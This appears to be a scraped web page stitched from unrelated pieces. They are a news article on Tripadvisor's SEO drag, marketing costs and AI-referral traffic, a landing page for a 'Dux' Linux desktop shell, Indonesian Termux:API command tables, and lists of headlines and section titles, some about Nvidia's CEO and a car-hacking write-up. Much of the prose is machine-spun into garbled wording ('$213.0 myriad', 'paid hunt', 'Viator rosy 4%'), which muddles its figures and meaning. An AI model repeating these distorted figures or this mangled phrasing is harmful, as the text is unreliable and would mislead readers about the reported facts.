In August, he estimated the SEO drag on the Experiences section at about 5 percent points of bookings growth. He stated in the second-quarter prepared remarks that the drag continues to average “as SEO becomes a smaller portion of general bookings mix.” In the third-quarter remarks, he put it at an approximate 3% growth headwind to section bookings.

Experiences bookings grew 2% in the quarter. Bookings on Viator rosy 4%, during bookings through Tripadvisor’s own location cut by a low-teens percentage.

Marketing Costs And The Move To Paid Channels

Marketing took 48.8% of Tripadvisor’s income from continuing operations in the third quarter, up from 43.3% a twelvemonth earlier. Those figures exclude TheFork, which Tripadvisor has sold. Spending was approximately flat in dollars at $213.0 myriad during income cut 11% to $436.4 million.

Noonan attributed the addition to an ongoing move from liberated to paid channels caused by persistent SEO headwinds, mostly in Hotels and Other and on Tripadvisor’s own site.

He stated the SEM conduit saw a decrease in accessible clicks in August, which coincided alongside a planned move of expend to newer, small scaled paid channels. On the call, he suggested several of that decrease could be tied to macroeconomic conditions.

CEO Matt Goldberg stated SEM has been Tripadvisor’s largest promotion conduit and that “the auctions have certainly rotate into additional competitive,” alongside several SEM expend now small efficient. Noonan described Viator’s paid hunt effectiveness as decent twelvemonth complete year.

In August, the CEO stated the business was finding ways to dispersed spending beyond paid hunt as additional travelers discover experiences on social and another mid-funnel channels.

What Tripadvisor Says About AI Citations

In the prepared remarks, Goldberg stated Viator is operating alongside a figure of AI platforms (including Anthropic, OpenAI, Gemini and Meta Muse) and that quantity is low. He added that MCP partner integrations create conversions to bookings at better-than-average rates as fine as higher booking values, and that Tripadvisor’s brands “lead in portion of citations for experiences prompts,” but did not provision data on the call concerning the way this portion was calculated.

On the call, he stated AI is likely under 1% of Tripadvisor’s general traffic but is ramping. He thinks AI traffic converts at near to five times the average on Viator and concerning twice the average on Tripadvisor.

According to Goldberg, distinctive contributors have held stable or declined lone slightly so far this year, notwithstanding double-digit drops in traffic. In his view, inn and online journey agency partners, alongside alongside LLMs, value the satisfied these contributors create as leads, licensed content, or AEO citations.

Why This Matters

Tripadvisor has stated it is seeing small of an SEO drag on bookings now that SEO represents a smaller part of its general business. Marketing represented about 5.5 percent points additional of income in the third fourth compared to the identical duration final year, which the business attributes to the passage from liberated to paid channels.

In May I posted that Condé Nast’s CEO was instructing his teams to scheme for zero hunt traffic. On Oct. 29, Reddit announced that its hunt referrals declined by complete 1 myriad per week on average in October. Tripadvisor has added its CFO’s prediction that the SEO headwind volition continue into 2027, alongside alongside a promotion metric a preparedness squad can use to difference internally.

Looking Ahead

Goldberg volition continue as CEO until the center of February during the commission plant alongside a hunt resolute to acknowledge his replacement, and CFO Mike Noonan volition depart at the end of the year. Kristen Dalton, caput of scheme and operations for Tripadvisor, volition rotate into interim CFO productive Jan. 1. Tripadvisor stated its portfolio review, which includes deliberation of strategic alternatives, continues.

Tripadvisor estimates Experiences’ adjusted EBITDA in the fourth fourth to be about break-even, during continuing to allocate in newer paid channels. In all of its Q2 and Q3 comments, the business cited an evaluation of the SEO effect to Experiences. A third evaluation in the next study would display whether the drag is motionless shrinking from concerning 3%.

Featured Image: JHVEPhoto/Shutterstock

Category News SEO

Add SEJ as a preferred origin on Google

Dux: Free, open-source Wayland desktop shell with file manager and theming

support@mycoding.id (Mira Azkia) — Sun, 08 Nov 2026 20:08:51 +0700

DMS 2.1 Stormborn. New scheme monitor, video wallpapers, revamped media player, interface density, many dux records enhancements, and more. Read the announcement
❯█
→ Detecting distribution...
✓ Installing dependencies
✓ Configuring Dux Modular Shell
✓ Ready to rock!
Dux Modular Shell in Action
Experience the fluid interface and beautiful animations
Dux Dash
Media controls, weather, calendar, and scheme info at a glance
Quick Settings
Effortlessly authority your audio, displays, network, and bluetooth
Widget Customization
Personalize your desktop experience
Plugins
Extend functionality alongside new widgets, launcher features, and more.
Dux Modular Shell
A contemporary and beautiful desktop casing alongside energetic theming and gentle animations.
Dux Files
A fast, keyboard-first document director alongside tabs, divided view, search, trash, devices, and network shares.
Dux GOP
Stateless scheme and procedure monitoring for CPU, memory, GPU, disks, and network interfaces.
Dux Greeter
An aesthetically pleasing greetd greeter for your desktop.
Dux Search
Blazingly accelerated and productive document scheme hunt tool.
Dux Calendar
Your calendars, events, and tasks together, alongside Google, Microsoft, CalDAV, and iCloud support.
One theme.
Across your apps.
Dux Modular Shell automatically generates matching colors for supported GTK and Qt apps, terminals, editors, and more.
Our tradition dank16 algorithm builds a complete 16-color palette for terminals and syntax highlighting, alongside difference tuned for ray and dreary themes.
GTK3, GTK4, and Qt
Terminal and publishing company color schemes
Light and dreary modes
Set up app theming
workspace.ts · Code−□×
EXPLORER⌄ studio⌄ srcTS workspace.tsTS index.ts{} package.jsonM README.md
TS workspace.ts ×index.ts
src › workspace.ts
1import { readdir } from 'node:fs/promises';
2
3const extensions = ['.qml', '.ts', '.go'];
4
5export async function findProjects(path) {
6 const entries = await readdir(path);
7 return entries
8 .filter(name => !name.startsWith('.'))
9 .map(name => ({ name, way }));
10}
11
12export const formats = extensions.length;
⑂ main* ✓UTF-8 TypeScript
❯_Terminal−□×
~/projects/studio⑂ main
❯ npm run dev
VITEready
➜ Local: http://localhost:5173/
press h + act to display help
Matching colors, downward to the syntax.
Meet our sponsors
Built in the open by our contributors
Meet our contributors
Free and open source.
Kept going by you.
Dux Modular Shell expenses nothing to use. If it has earned a place on your desktop, a tip helps shield the period and infrastructure that keep releases coming.

Perintah	Izin Android yang diperiksa
termux-camera-photo	CAMERA
termux-location	ACCESS_FINE_LOCATION
termux-microphone-record	RECORD_AUDIO
termux-contact-list	READ_CONTACTS
termux-call-log	READ_CALL_LOG
termux-sms-send	READ_PHONE_STATE dan SEND_SMS

Perintah	Fungsi	Contoh
termux-battery-status	Status baterai dalam JSON: persen, status pengisian, suhu, sumber daya	termux-battery-status
termux-notification	Menampilkan notifikasi mekanisme dengan judul (-t) dan isi (-c)	termux-notification -t "Backup" -c "Selesai"
termux-toast	Popup teks singkat di layar; -s untuk durasi pendek	termux-toast -s "Selesai"
termux-vibrate	Menggetarkan HP; -d durasi dalam milidetik (bawaan 1000)	termux-vibrate -d 500
termux-clipboard-get	Membaca teks di clipboard	termux-clipboard-get
termux-clipboard-set	Mengisi clipboard dari karena maupun stdin	echo "halo" \| termux-clipboard-set
termux-location	Lokasi HP; -p gps/network/passive, -r once/last/updates	termux-location -p network -r last
termux-camera-info	Informasi kamera yang ada di HP, termasuk ID-nya	termux-camera-info
termux-camera-photo	Memotret dan menyimpan JPEG; -c memilih ID kamera	termux-camera-photo -c 0 foto.jpg
termux-wifi-connectioninfo	Info hubungan Wi-Fi saat ini, seperti SSID, IP, RSSI, dan kecepatan tautan	termux-wifi-connectioninfo
termux-torch	Menyalakan maupun mematikan senter	termux-torch on
termux-job-scheduler	Menjadwalkan skrip agar berjalan berkala	lihat contoh di bawah

Pesan	Penyebab	Solusi
App not installed, INSTALL_FAILED_SHARED_USER_INCOMPATIBLE, signatures do not match previously installed version	Termux dan Termux:API berasal dari sumber berbeda	Hapus Termux dan semua pluginnya, pasang ulang dari satu sumber
Perintah seperti termux-battery-status tidak dikenali (command not found)	Paket termux-api belum terpasang	pkg install termux-api
Please grant the following permission to use this command: ...	Izin Android untuk perintah itu belum diberikan	Izinkan di percakapan yang muncul maupun di pengaturan aplikasi Termux:API
Background location permission not granted	Android 11 ke atas, persetujuan letak belum diset sepanjang waktu	Ubah persetujuan letak Termux:API ke Allow all the time
Cannot execute file: ...	Skrip yang dijadwalkan belum executable	chmod +x pada skrip tersebut
No such file: ...	Path skrip di termux-job-scheduler -s salah	Pakai path lengkap, misalnya $HOME/baterai.sh

MC Project

A Critique of GPUI

The lone inquiry that matters

GPUI: notify is zone.js

Making GPUI exact defeats GPUI

Elm: deceptively uncomplicated at small scales

One engine, distinct wiring

Why run once

Signals do not automatically create your app fast

Conclusion

Method

References

The Qlobe: Rotating Quine (2010)

Trump reacts to the Jensen Huang affair: 'He probably has an excuse for it'

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

A Bit about Email

SMTP

Authentication

The message

About TLS

So what??

RIP, Harvest

Unlocking any car from X brand in most of the world

The character platform

Fighting the WAF

Taking complete accounts

Skipping MFA

Unlocking the car

Here's what smart people are saying about Nvidia's investigation of CEO Jensen Huang

Bill Ackman, CEO of Pershing Square Capital Management

Chris McGuire, elder chap at the Council on Foreign Relations

Jason Calacanis, angel capitalist and "All-in" host

Dan Ives, partner and elder managing director at Yorkville Ives

Texas Rep. Michael McCaul

Shaun Maguire, partner at Sequoia Capital

Ross Gerber, chairman and CEO of Gerber Kawasaki Wealth and Investment Management

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Herb Sutter: When a language's creator and its owners strongly disagree [pdf]

Here’s the full text of Jensen Huang’s memo to Nvidia

Chimera Vocal Synth

KetchUp – Open-source SketchUp alternative built with Rust and WebGPU

From the archetypal lineto the finer details.

Draw. Pull. Make it yours.

Keep your ideas in measure.

Your work, in your hands.

Plan your furniturebefore the archetypal cut.

Model the pieces

Check dimensions and fit

Keep the project organized

Your archetypal shapeis three steps away.

Draw a rectangle

Give it several depth

Find a caller perspective

A few thingsbefore you begin.

A blank canvas.Plenty of possibilities.

Nvidia CEO Jensen Huang's letter to staff about affair

Nvidia CEO Jensen Huang says he was 'unfaithful' to his wife: Read his note to staff

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Ask HN: What are you working on? (November 2026)

Nvidia Board of Directors Is Investigating Jensen Huang

Nvidia is investigating CEO Jensen Huang after he said he was unfaithful to his wife: Read his note to staff

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Termux API: Cara Install Termux:API, Izin Android, dan Perintah yang Sering Dipakai

Apa Itu Termux API dan Kenapa Butuh Dua Bagian

From the archetypal line
to the finer details.

Plan your furniture
before the archetypal cut.

Your archetypal shape
is three steps away.

A few things
before you begin.

A blank canvas.
Plenty of possibilities.

Dux Modular Shell

Dux Files

Dux GOP

Dux Greeter

Dux Search

Dux Calendar

One theme.
Across your apps.

Free and open source.
Kept going by you.